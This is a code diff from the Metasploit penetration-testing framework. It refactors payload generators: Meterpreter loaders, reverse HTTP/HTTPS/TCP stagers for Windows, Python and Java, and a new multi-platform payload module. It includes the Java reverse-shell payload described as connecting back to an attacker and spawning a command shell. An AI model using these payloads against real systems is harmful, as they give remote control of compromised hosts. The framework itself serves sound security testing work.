c << "LPORT=#{ds["LPORT"]}\n" if ds["LPORT"]
|
||||
|
||||
c
|
||||
end
|
||||
|
||||
def class_files
|
||||
# TODO: we should handle opts in class_files as well
|
||||
if datastore['AESPassword'] && datastore['AESPassword'].length > 0
|
||||
[
|
||||
["metasploit", "AESEncryption.class"],
|
||||
]
|
||||
else
|
||||
[]
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
@ -0,0 +1,50 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
|
||||
###
|
||||
#
|
||||
#
|
||||
#
|
||||
###
|
||||
module Msf::Payload::Multi
|
||||
|
||||
# TOOD: require the appropriate stuff!
|
||||
#require 'msf/core/payload/windows/dllinject'
|
||||
#require 'msf/core/payload/windows/exec'
|
||||
#require 'msf/core/payload/windows/loadlibrary'
|
||||
#require 'msf/core/payload/windows/meterpreter_loader'
|
||||
#require 'msf/core/payload/windows/x64/meterpreter_loader'
|
||||
#require 'msf/core/payload/windows/reflectivedllinject'
|
||||
#require 'msf/core/payload/windows/x64/reflectivedllinject'
|
||||
|
||||
# TODO: figure out what to do here
|
||||
def apply_prepends(raw)
|
||||
''
|
||||
end
|
||||
|
||||
# TODO: figure out what to do here
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Multi-Platform Meterpreter Payload',
|
||||
'Description' => 'Detect and generate the appropriate payload based on platform/arch',
|
||||
'Author' => ['OJ Reeves'],
|
||||
'Platform' => ['multi'],
|
||||
'Arch' => ARCH_ALL,
|
||||
'Stage' => {'Payload' => ''},
|
||||
'PayloadCompat' => {'Convention' => 'sockedi sockrdi http https'},
|
||||
))
|
||||
end
|
||||
|
||||
# TODO: figure out what to do here
|
||||
def replace_var(raw, name, offset, pack)
|
||||
return true
|
||||
end
|
||||
|
||||
# TODO: figure out what to do here
|
||||
def handle_intermediate_stage(conn, payload)
|
||||
return true
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
@ -0,0 +1,69 @@
|
|||
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/uuid/options'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex payload generation for arch-agnostic HTTP.
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Multi::ReverseHttp
|
||||
|
||||
include Msf::Payload::UUID::Options
|
||||
include Msf::Payload::Multi
|
||||
|
||||
#
|
||||
# Register reverse_http specific options
|
||||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
register_advanced_options([
|
||||
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
|
||||
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
|
||||
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
|
||||
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
|
||||
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
|
||||
OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
|
||||
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
|
||||
])
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate(opts={})
|
||||
# Not such thing as a first stage for multi/reverse_http
|
||||
''
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the transport-specific configuration
|
||||
#
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_http(opts)
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Do not transmit the stage over the connection. We handle this via HTTPS
|
||||
#
|
||||
def stage_over_connection?
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Always wait at least 20 seconds for this payload (due to staging delays)
|
||||
#
|
||||
def wfs_delay
|
||||
20
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,30 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/core/payload/multi/reverse_http'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex payload generation for arch-agnostic HTTP.
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Multi::ReverseHttps
|
||||
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Payload::Multi::ReverseHttp
|
||||
|
||||
#
|
||||
# Generate the transport-specific configuration
|
||||
#
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_https(opts)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -14,6 +14,7 @@ module Msf
|
|||
|
||||
module Payload::Python::MeterpreterLoader
|
||||
|
||||
include Msf::Payload::Python
|
||||
include Msf::Payload::UUID::Options
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
|
@ -32,6 +33,10 @@ module Payload::Python::MeterpreterLoader
|
|||
], self.class)
|
||||
end
|
||||
|
||||
def stage_payload(opts={})
|
||||
stage_meterpreter(opts)
|
||||
end
|
||||
|
||||
# Get the raw Python Meterpreter stage and patch in values based on the
|
||||
# configuration
|
||||
#
|
||||
|
@ -40,7 +45,7 @@ module Payload::Python::MeterpreterLoader
|
|||
# HTTP(S) transports.
|
||||
# @option opts [String] :http_proxy_port The port to use when a proxy host is
|
||||
# set for HTTP(S) transports.
|
||||
# @option opts [String] :http_url The HTTP(S) URL to patch in to
|
||||
# @option opts [String] :url The HTTP(S) URL to patch in to
|
||||
# allow use of the stage as a stageless payload.
|
||||
# @option opts [String] :http_user_agent The value to use for the User-Agent
|
||||
# header for HTTP(S) transports.
|
||||
|
@ -49,31 +54,36 @@ module Payload::Python::MeterpreterLoader
|
|||
# @option opts [String] :uuid A specific UUID to use for sessions created by
|
||||
# this stage.
|
||||
def stage_meterpreter(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
met = MetasploitPayloads.read('meterpreter', 'meterpreter.py')
|
||||
|
||||
var_escape = lambda { |txt|
|
||||
txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\'))
|
||||
}
|
||||
|
||||
if datastore['PythonMeterpreterDebug']
|
||||
if ds['PythonMeterpreterDebug']
|
||||
met = met.sub("DEBUGGING = False", "DEBUGGING = True")
|
||||
end
|
||||
|
||||
met.sub!('SESSION_EXPIRATION_TIMEOUT = 604800', "SESSION_EXPIRATION_TIMEOUT = #{datastore['SessionExpirationTimeout']}")
|
||||
met.sub!('SESSION_COMMUNICATION_TIMEOUT = 300', "SESSION_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}")
|
||||
met.sub!('SESSION_RETRY_TOTAL = 3600', "SESSION_RETRY_TOTAL = #{datastore['SessionRetryTotal']}")
|
||||
met.sub!('SESSION_RETRY_WAIT = 10', "SESSION_RETRY_WAIT = #{datastore['SessionRetryWait']}")
|
||||
met.sub!('SESSION_EXPIRATION_TIMEOUT = 604800', "SESSION_EXPIRATION_TIMEOUT = #{ds['SessionExpirationTimeout']}")
|
||||
met.sub!('SESSION_COMMUNICATION_TIMEOUT = 300', "SESSION_COMMUNICATION_TIMEOUT = #{ds['SessionCommunicationTimeout']}")
|
||||
met.sub!('SESSION_RETRY_TOTAL = 3600', "SESSION_RETRY_TOTAL = #{ds['SessionRetryTotal']}")
|
||||
met.sub!('SESSION_RETRY_WAIT = 10', "SESSION_RETRY_WAIT = #{ds['SessionRetryWait']}")
|
||||
|
||||
uuid = opts[:uuid] || generate_payload_uuid
|
||||
uuid = Rex::Text.to_hex(uuid.to_raw, prefix = '')
|
||||
met.sub!("PAYLOAD_UUID = \'\'", "PAYLOAD_UUID = \'#{uuid}\'")
|
||||
|
||||
# patch in the stageless http(s) connection url
|
||||
met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(opts[:http_url])}'") if opts[:http_url].to_s != ''
|
||||
met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(opts[:http_user_agent])}'") if opts[:http_user_agent].to_s != ''
|
||||
http_user_agent = opts[:http_user_agent] || ds['MeterpreterUserAgent']
|
||||
http_proxy_host = opts[:http_proxy_host] || ds['PayloadProxyHost'] || ds['PROXYHOST']
|
||||
http_proxy_port = opts[:http_proxy_port] || ds['PayloadProxyPort'] || ds['PROXYPORT']
|
||||
|
||||
if opts[:http_proxy_host].to_s != ''
|
||||
proxy_url = "http://#{opts[:http_proxy_host]}:#{opts[:http_proxy_port]}"
|
||||
# patch in the stageless http(s) connection url
|
||||
met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(opts[:url])}'") if opts[:url].to_s != ''
|
||||
met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(http_user_agent)}'") if http_user_agent.to_s != ''
|
||||
|
||||
if http_proxy_host.to_s != ''
|
||||
proxy_url = "http://#{http_proxy_host}:#{http_proxy_port}"
|
||||
met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
|
||||
end
|
||||
|
||||
|
|
|
@ -22,12 +22,13 @@ module Payload::Python::ReverseHttp
|
|||
# Generate the first stage
|
||||
#
|
||||
def generate(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
opts.merge!({
|
||||
host: datastore['LHOST'] || '127.127.127.127',
|
||||
port: datastore['LPORT'],
|
||||
proxy_host: datastore['PayloadProxyHost'],
|
||||
proxy_port: datastore['PayloadProxyPort'],
|
||||
user_agent: datastore['MeterpreterUserAgent']
|
||||
host: ds['LHOST'] || '127.127.127.127',
|
||||
port: ds['LPORT'],
|
||||
proxy_host: ds['PayloadProxyHost'],
|
||||
proxy_port: ds['PayloadProxyPort'],
|
||||
user_agent: ds['MeterpreterUserAgent']
|
||||
})
|
||||
opts[:scheme] = 'http' if opts[:scheme].nil?
|
||||
|
||||
|
|
|
@ -89,7 +89,10 @@ module Msf::Payload::Stager
|
|||
#
|
||||
# @return [String,nil]
|
||||
def stage_payload(opts = {})
|
||||
return module_info['Stage']['Payload']
|
||||
if module_info['Stage']
|
||||
return module_info['Stage']['Payload']
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -97,7 +100,10 @@ module Msf::Payload::Stager
|
|||
#
|
||||
# @return [String]
|
||||
def stage_assembly
|
||||
return module_info['Stage']['Assembly']
|
||||
if module_info['Stage']
|
||||
return module_info['Stage']['Assembly']
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -108,7 +114,10 @@ module Msf::Payload::Stager
|
|||
#
|
||||
# @return [Hash]
|
||||
def stage_offsets
|
||||
return module_info['Stage']['Offsets']
|
||||
if module_info['Stage']
|
||||
return module_info['Stage']['Offsets']
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -108,7 +108,7 @@ class Msf::Payload::UUID
|
|||
puid = seed_to_puid(opts[:seed])
|
||||
end
|
||||
|
||||
puid ||= Rex::Text.rand_text(8)
|
||||
puid ||= SecureRandom.random_bytes(8)
|
||||
|
||||
if puid.length != 8
|
||||
raise ArgumentError, "The :puid parameter must be exactly 8 bytes"
|
||||
|
@ -256,7 +256,7 @@ class Msf::Payload::UUID
|
|||
end
|
||||
|
||||
# Generate some sensible defaults
|
||||
self.puid ||= Rex::Text.rand_text(8)
|
||||
self.puid ||= SecureRandom.random_bytes(8)
|
||||
self.xor1 ||= rand(256)
|
||||
self.xor2 ||= rand(256)
|
||||
self.timestamp ||= Time.now.utc.to_i
|
||||
|
|
|
@ -2,6 +2,7 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/reflective_dll_loader'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module Msf
|
||||
|
||||
|
@ -66,14 +67,39 @@ module Payload::Windows::MeterpreterLoader
|
|||
^
|
||||
end
|
||||
|
||||
def stage_meterpreter(stageless=false)
|
||||
def stage_payload(opts={})
|
||||
stage_meterpreter(opts) + generate_config(opts)
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
|
||||
# create the configuration block, which for staged connections is really simple.
|
||||
config_opts = {
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: ds['EXITFUNC'],
|
||||
expiration: ds['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: opts[:transport_config] || [transport_config(opts)],
|
||||
extensions: []
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
|
||||
def stage_meterpreter(opts={})
|
||||
# Exceptions will be thrown by the mixin if there are issues.
|
||||
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll'))
|
||||
|
||||
asm_opts = {
|
||||
rdi_offset: offset,
|
||||
length: dll.length,
|
||||
stageless: stageless
|
||||
stageless: opts[:stageless] == true
|
||||
}
|
||||
|
||||
asm = asm_invoke_metsrv(asm_opts)
|
||||
|
|
|
@ -42,23 +42,24 @@ module Payload::Windows::ReverseHttp
|
|||
# Generate the first stage
|
||||
#
|
||||
def generate(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
conf = {
|
||||
ssl: opts[:ssl] || false,
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
retry_count: datastore['StagerRetryCount']
|
||||
host: ds['LHOST'],
|
||||
port: ds['LPORT'],
|
||||
retry_count: ds['StagerRetryCount']
|
||||
}
|
||||
|
||||
# Add extra options if we have enough space
|
||||
if self.available_space && required_space <= self.available_space
|
||||
conf[:url] = luri + generate_uri
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:ua] = datastore['MeterpreterUserAgent']
|
||||
conf[:proxy_host] = datastore['PayloadProxyHost']
|
||||
conf[:proxy_port] = datastore['PayloadProxyPort']
|
||||
conf[:proxy_user] = datastore['PayloadProxyUser']
|
||||
conf[:proxy_pass] = datastore['PayloadProxyPass']
|
||||
conf[:proxy_type] = datastore['PayloadProxyType']
|
||||
conf[:url] = luri + generate_uri(opts)
|
||||
conf[:exitfunk] = ds['EXITFUNC']
|
||||
conf[:ua] = ds['MeterpreterUserAgent']
|
||||
conf[:proxy_host] = ds['PayloadProxyHost']
|
||||
conf[:proxy_port] = ds['PayloadProxyPort']
|
||||
conf[:proxy_user] = ds['PayloadProxyUser']
|
||||
conf[:proxy_pass] = ds['PayloadProxyPass']
|
||||
conf[:proxy_type] = ds['PayloadProxyType']
|
||||
else
|
||||
# Otherwise default to small URIs
|
||||
conf[:url] = luri + generate_small_uri
|
||||
|
@ -92,9 +93,9 @@ module Payload::Windows::ReverseHttp
|
|||
#
|
||||
# Generate the URI for the initial stager
|
||||
#
|
||||
def generate_uri
|
||||
|
||||
uri_req_len = datastore['StagerURILength'].to_i
|
||||
def generate_uri(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
uri_req_len = ds['StagerURILength'].to_i
|
||||
|
||||
# Choose a random URI length between 30 and 255 bytes
|
||||
if uri_req_len == 0
|
||||
|
|
|
@ -20,8 +20,9 @@ module Payload::Windows::ReverseHttps
|
|||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
super(ssl: true)
|
||||
def generate(opts={})
|
||||
opts[:ssl] = true
|
||||
super(opts)
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -25,17 +25,18 @@ module Payload::Windows::ReverseTcp
|
|||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
def generate(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
conf = {
|
||||
port: datastore['LPORT'],
|
||||
host: datastore['LHOST'],
|
||||
retry_count: datastore['ReverseConnectRetries'],
|
||||
port: ds['LPORT'],
|
||||
host: ds['LHOST'],
|
||||
retry_count: ds['ReverseConnectRetries'],
|
||||
reliable: false
|
||||
}
|
||||
|
||||
# Generate the advanced stager if we have space
|
||||
if self.available_space && required_space <= self.available_space
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:exitfunk] = ds['EXITFUNC']
|
||||
conf[:reliable] = true
|
||||
end
|
||||
|
||||
|
|
|
@ -2,10 +2,10 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/reflective_dll_loader'
|
||||
require 'rex/payloads/meterpreter/config'
|
||||
|
||||
module Msf
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# Common module stub for ARCH_X64 payloads that make use of Meterpreter.
|
||||
|
@ -69,14 +69,39 @@ module Payload::Windows::MeterpreterLoader_x64
|
|||
^
|
||||
end
|
||||
|
||||
def stage_meterpreter(stageless=false)
|
||||
def stage_payload(opts={})
|
||||
stage_meterpreter(opts) + generate_config(opts)
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
|
||||
# create the configuration block, which for staged connections is really simple.
|
||||
config_opts = {
|
||||
arch: opts[:uuid].arch,
|
||||
exitfunk: ds['EXITFUNC'],
|
||||
expiration: ds['SessionExpirationTimeout'].to_i,
|
||||
uuid: opts[:uuid],
|
||||
transports: opts[:transport_config] || [transport_config(opts)],
|
||||
extensions: []
|
||||
}
|
||||
|
||||
# create the configuration instance based off the parameters
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
|
||||
# return the binary version of it
|
||||
config.to_b
|
||||
end
|
||||
|
||||
def stage_meterpreter(opts={})
|
||||
# Exceptions will be thrown by the mixin if there are issues.
|
||||
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll'))
|
||||
|
||||
asm_opts = {
|
||||
rdi_offset: offset,
|
||||
length: dll.length,
|
||||
stageless: stageless
|
||||
stageless: opts[:stageless] == true
|
||||
}
|
||||
|
||||
asm = asm_invoke_metsrv(asm_opts)
|
||||
|
|
|
@ -46,23 +46,25 @@ module Payload::Windows::ReverseHttp_x64
|
|||
# Generate the first stage
|
||||
#
|
||||
def generate(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
|
||||
conf = {
|
||||
ssl: opts[:ssl] || false,
|
||||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
retry_count: datastore['StagerRetryCount']
|
||||
host: ds['LHOST'],
|
||||
port: ds['LPORT'],
|
||||
retry_count: ds['StagerRetryCount']
|
||||
}
|
||||
|
||||
# add extended options if we do have enough space
|
||||
if self.available_space && required_space <= self.available_space
|
||||
conf[:url] = luri + generate_uri
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:ua] = datastore['MeterpreterUserAgent']
|
||||
conf[:proxy_host] = datastore['PayloadProxyHost']
|
||||
conf[:proxy_port] = datastore['PayloadProxyPort']
|
||||
conf[:proxy_user] = datastore['PayloadProxyUser']
|
||||
conf[:proxy_pass] = datastore['PayloadProxyPass']
|
||||
conf[:proxy_type] = datastore['PayloadProxyType']
|
||||
conf[:url] = luri + generate_uri(opts)
|
||||
conf[:exitfunk] = ds['EXITFUNC']
|
||||
conf[:ua] = ds['MeterpreterUserAgent']
|
||||
conf[:proxy_host] = ds['PayloadProxyHost']
|
||||
conf[:proxy_port] = ds['PayloadProxyPort']
|
||||
conf[:proxy_user] = ds['PayloadProxyUser']
|
||||
conf[:proxy_pass] = ds['PayloadProxyPass']
|
||||
conf[:proxy_type] = ds['PayloadProxyType']
|
||||
else
|
||||
# Otherwise default to small URIs
|
||||
conf[:url] = luri + generate_small_uri
|
||||
|
@ -90,14 +92,13 @@ module Payload::Windows::ReverseHttp_x64
|
|||
#
|
||||
# Generate the URI for the initial stager
|
||||
#
|
||||
def generate_uri
|
||||
|
||||
uri_req_len = datastore['StagerURILength'].to_i
|
||||
def generate_uri(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
uri_req_len = ds['StagerURILength'].to_i
|
||||
|
||||
# Choose a random URI length between 30 and 255 bytes
|
||||
if uri_req_len == 0
|
||||
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
|
||||
|
||||
end
|
||||
|
||||
if uri_req_len < 5
|
||||
|
|
|
@ -23,8 +23,9 @@ module Payload::Windows::ReverseHttps_x64
|
|||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
super(ssl: true)
|
||||
def generate(opts={})
|
||||
opts[:ssl] = true
|
||||
super(opts)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -29,7 +29,8 @@ class PayloadCachedSize
|
|||
'DLL' => 'external/source/byakugan/bin/XPSP2/detoured.dll',
|
||||
'RC4PASSWORD' => 'Metasploit',
|
||||
'DNSZONE' => 'corelan.eu',
|
||||
'PEXEC' => '/bin/sh'
|
||||
'PEXEC' => '/bin/sh',
|
||||
'StagerURILength' => 5
|
||||
},
|
||||
'Encoder' => nil,
|
||||
'DisableNops' => true
|
||||
|
|
|
@ -30,7 +30,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'BadChars' => '',
|
||||
'DisableNops' => true,
|
||||
},
|
||||
'Platform' => %w{ android bsd java js linux osx nodejs php python ruby solaris unix win mainframe },
|
||||
'Platform' => %w{ android bsd java js linux osx nodejs php python ruby solaris unix win mainframe multi },
|
||||
'Arch' => ARCH_ALL,
|
||||
'Targets' => [ [ 'Wildcard Target', { } ] ],
|
||||
'DefaultTarget' => 0
|
||||
|
|
|
@ -35,9 +35,6 @@ module MetasploitModule
|
|||
'Session' => Msf::Sessions::Meterpreter_Java_Android,
|
||||
'Payload' => '',
|
||||
))
|
||||
register_options([
|
||||
OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -30,9 +30,6 @@ module MetasploitModule
|
|||
'Session' => Msf::Sessions::Meterpreter_Java_Android,
|
||||
'Payload' => '',
|
||||
))
|
||||
register_options([
|
||||
OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -16,37 +16,24 @@ module MetasploitModule
|
|||
include Msf::Payload::Java
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
def initialize(info={})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Java Command Shell, Reverse TCP Inline',
|
||||
'Description' => 'Connect back to attacker and spawn a command shell',
|
||||
'Author' => [
|
||||
'mihi', # all the hard work
|
||||
'egypt' # msf integration
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => [ 'java' ],
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' => { },
|
||||
'Payload' => ''
|
||||
}
|
||||
'Name' => 'Java Command Shell, Reverse TCP Inline',
|
||||
'Description' => 'Connect back to attacker and spawn a command shell',
|
||||
'Author' => ['mihi', 'egypt'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['java'],
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::CommandShell,
|
||||
'Payload' => {'Offsets' => {}, 'Payload' => ''}
|
||||
))
|
||||
@class_files = [
|
||||
[ "metasploit", "Payload.class" ],
|
||||
[ "javapayload", "stage", "Stage.class" ],
|
||||
[ "javapayload", "stage", "StreamForwarder.class" ],
|
||||
[ "javapayload", "stage", "Shell.class" ],
|
||||
]
|
||||
end
|
||||
|
||||
def generate_jar(opts={})
|
||||
jar = Rex::Zip::Jar.new
|
||||
jar.add_sub("metasploit") if opts[:random]
|
||||
@class_files.each do |path|
|
||||
class_files.each do |path|
|
||||
1.upto(path.length - 1) do |idx|
|
||||
full = path[0,idx].join("/") + "/"
|
||||
if !(jar.entries.map{|e|e.name}.include?(full))
|
||||
|
@ -57,15 +44,16 @@ module MetasploitModule
|
|||
jar.add_file(path.join("/"), data)
|
||||
end
|
||||
jar.build_manifest(:main_class => "metasploit.Payload")
|
||||
jar.add_file("metasploit.dat", config)
|
||||
jar.add_file("metasploit.dat", stager_config(opts))
|
||||
|
||||
jar
|
||||
end
|
||||
|
||||
def config
|
||||
def stager_config(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
c = ""
|
||||
c << "LHOST=#{datastore["LHOST"]}\n" if datastore["LHOST"]
|
||||
c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]
|
||||
c << "LHOST=#{ds["LHOST"]}\n" if ds["LHOST"]
|
||||
c << "LPORT=#{ds["LPORT"]}\n" if ds["LPORT"]
|
||||
# Magical, means use stdin/stdout. Used for debugging
|
||||
#c << "LPORT=0\n"
|
||||
c << "EmbeddedStage=Shell\n"
|
||||
|
@ -73,4 +61,12 @@ module MetasploitModule
|
|||
c
|
||||
end
|
||||
|
||||
def class_files
|
||||
[
|
||||
['metasploit', 'Payload.class'],
|
||||
['javapayload', 'stage', 'Stage.class'],
|
||||
['javapayload', 'stage', 'StreamForwarder.class'],
|
||||
['javapayload', 'stage', 'Shell.class'],
|
||||
]
|
||||
end
|
||||
end
|
||||
|
|
|
@ -35,7 +35,7 @@ module MetasploitModule
|
|||
def generate_reverse_http(opts={})
|
||||
opts[:uri_uuid_mode] = :init_connect
|
||||
met = stage_meterpreter({
|
||||
http_url: generate_callback_url(opts),
|
||||
url: generate_callback_url(opts),
|
||||
http_user_agent: opts[:user_agent],
|
||||
http_proxy_host: opts[:proxy_host],
|
||||
http_proxy_port: opts[:proxy_port]
|
||||
|
|
|
@ -36,7 +36,7 @@ module MetasploitModule
|
|||
opts[:scheme] = 'https'
|
||||
opts[:uri_uuid_mode] = :init_connect
|
||||
met = stage_meterpreter({
|
||||
http_url: generate_callback_url(opts),
|
||||
url: generate_callback_url(opts),
|
||||
http_user_agent: opts[:user_agent],
|
||||
http_proxy_host: opts[:proxy_host],
|
||||
http_proxy_port: opts[:proxy_port]
|
||||
|
|
|
@ -40,8 +40,9 @@ module MetasploitModule
|
|||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
stage_meterpreter(true) + generate_config
|
||||
def generate(opts={})
|
||||
opts[:stageless] = true
|
||||
stage_meterpreter(opts) + generate_config(opts)
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
|
|
|
@ -40,13 +40,13 @@ module MetasploitModule
|
|||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
stage_meterpreter(true) + generate_config
|
||||
def generate(opts={})
|
||||
opts[:stageless] = true
|
||||
stage_meterpreter(opts) + generate_config(opts)
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
opts[:stageless] = true
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
|
|
|
@ -40,13 +40,13 @@ module MetasploitModule
|
|||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
stage_meterpreter(true) + generate_config
|
||||
def generate(opts={})
|
||||
opts[:stageless] = true
|
||||
stage_meterpreter(opts) + generate_config(opts)
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
opts[:stageless] = true
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
|
|
|
@ -41,8 +41,9 @@ module MetasploitModule
|
|||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
stage_meterpreter(true) + generate_config
|
||||
def generate(opts={})
|
||||
opts[:stageless] = true
|
||||
stage_meterpreter(opts) + generate_config(opts)
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
|
|
|
@ -40,8 +40,9 @@ module MetasploitModule
|
|||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
stage_meterpreter(true) + generate_config
|
||||
def generate(opts={})
|
||||
opts[:stageless] = true
|
||||
stage_meterpreter(opts) + generate_config(opts)
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
|
|
|
@ -40,8 +40,9 @@ module MetasploitModule
|
|||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
stage_meterpreter(true) + generate_config
|
||||
def generate(opts={})
|
||||
opts[:stageless] = true
|
||||
stage_meterpreter(opts) + generate_config(opts)
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
|
|
|
@ -40,13 +40,13 @@ module MetasploitModule
|
|||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
stage_meterpreter(true) + generate_config
|
||||
def generate(opts={})
|
||||
opts[:stageless] = true
|
||||
stage_meterpreter(opts) + generate_config(opts)
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
opts[:stageless] = true
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
|
|
|
@ -40,13 +40,13 @@ module MetasploitModule
|
|||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
stage_meterpreter(true) + generate_config
|
||||
def generate(opts={})
|
||||
opts[:stageless] = true
|
||||
stage_meterpreter(opts) + generate_config(opts)
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
opts[:stageless] = true
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
|
|
|
